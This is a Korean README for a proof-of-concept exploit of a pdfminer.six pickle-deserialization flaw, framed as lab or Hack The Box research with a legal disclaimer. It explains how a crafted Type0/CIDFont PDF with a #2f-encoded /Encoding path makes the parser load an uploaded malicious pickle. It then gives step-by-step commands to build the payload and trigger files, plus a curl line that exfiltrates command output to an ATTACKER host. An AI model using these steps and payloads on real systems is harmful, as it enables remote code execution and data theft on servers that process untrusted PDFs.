
CVE-2025-64512 PoC: 조작된 PDF를 통한 pdfminer.six CMapDB pickle 역직렬화 RCE
CMapDB 역직렬화 PoCpdfminer.six의 역직렬화 취약점에 대한 개념 증명(PoC)으로, 악성 PDF를 파싱할 때 임의 코드 실행으로 이어집니다.
목적 / 법적 고지 이 저장소는 교육 및 승인된 보안 연구용으로만 제공됩니다. 공개적으로 공개되었고 패치된 CVE를 재현합니다. 소유하지 않았거나 서면 승인 없이 테스트할 권한이 없는 시스템에는 사용하지 마십시오. 작성자는 어떠한 오용에 대해서도 책임지지 않습니다. 의도된 환경: Hack The Box / VulnHub / 로컬 랩.
pdfminer.six 20250506 이전 버전20250506cmapdb.py에서 CMapDB._load_data()는 PDF 글꼴의 /Encoding 항목에서 파생된 이름의 CMap 파일을 읽고 그 내용을 pickle.loads()에 전달합니다:
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
세 가지 속성이 결합되어 악용 가능하게 만듭니다:
pickle.loads() -> 임의 코드 실행.os.path.join()은 검색 디렉터리를 버리고 해당 정확한 경로에서 파일을 엽니다..pickle.gz가 자동으로 추가되므로 확장자 없이 경로가 지정됩니다.이 취약점을 악용하려면 취약한 웹 앱에 두 개의 파일을 업로드해야 합니다:
payload.pickle.gz — gzip 압축된 pickle로, __reduce__가 명령을 실행하고 CMap 형태의 dict를 반환합니다(페이로드 실행 후에도 파싱이 깔끔하게 계속되도록).trigger.pdf — 글꼴 /Encoding이 pickle의 절대 경로(확장자 없음)를 가리키는 최소한의 Type0/CIDFont PDF.PDF 수준에서 두 가지 세부 사항이 중요합니다:
CMapDB.get_cmap()은 일반 Type1 글꼴이 아닌 CIDFont(DescendantFonts 항목이 있는 Type0 글꼴)를 통해서만 도달합니다./ 구분자로 시작하므로 절대 경로의 선행 슬래시를 보존하려면 인코딩된 경로가 #2f로 시작해야 합니다.
내부 슬래시도 /가 이름 구분자이므로 #2f입니다.대상이 PDF를 파싱하면(예: 백그라운드 감시 프로세스가 pdf2txt.py를 호출하는 경우) CMapDB._load_data()가 pickle을 열고 명령을 실행합니다.
# 1. 악성 pickle 생성 (gzip 압축)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. pickle의 절대 경로(확장자 없음)를 가리키는 트리거 PDF 생성
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. 두 파일을 취약한 PDF 업로드 폼에 업로드한 후, 처리 감시 프로세스가
# trigger.pdf를 처리할 때까지 대기
pdfminer.six 20250416(취약 버전)에서 종단 간 검증 완료: pdf2txt.py trigger.pdf를 실행하면 페이로드 명령이 실행되고 종료 코드 0으로 종료됩니다.
페이로드 명령은 블라인드입니다. 콜백을 통해 데이터를 유출하세요, 예:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| 파일 | 용도 |
|---|---|
make_payload.py | 악성 payload.pickle.gz 생성 |
make_trigger_pdf.py | 올바른 xref 오프셋이 포함된 /Encoding 트리거 PDF 생성 |
20250506 수정 커밋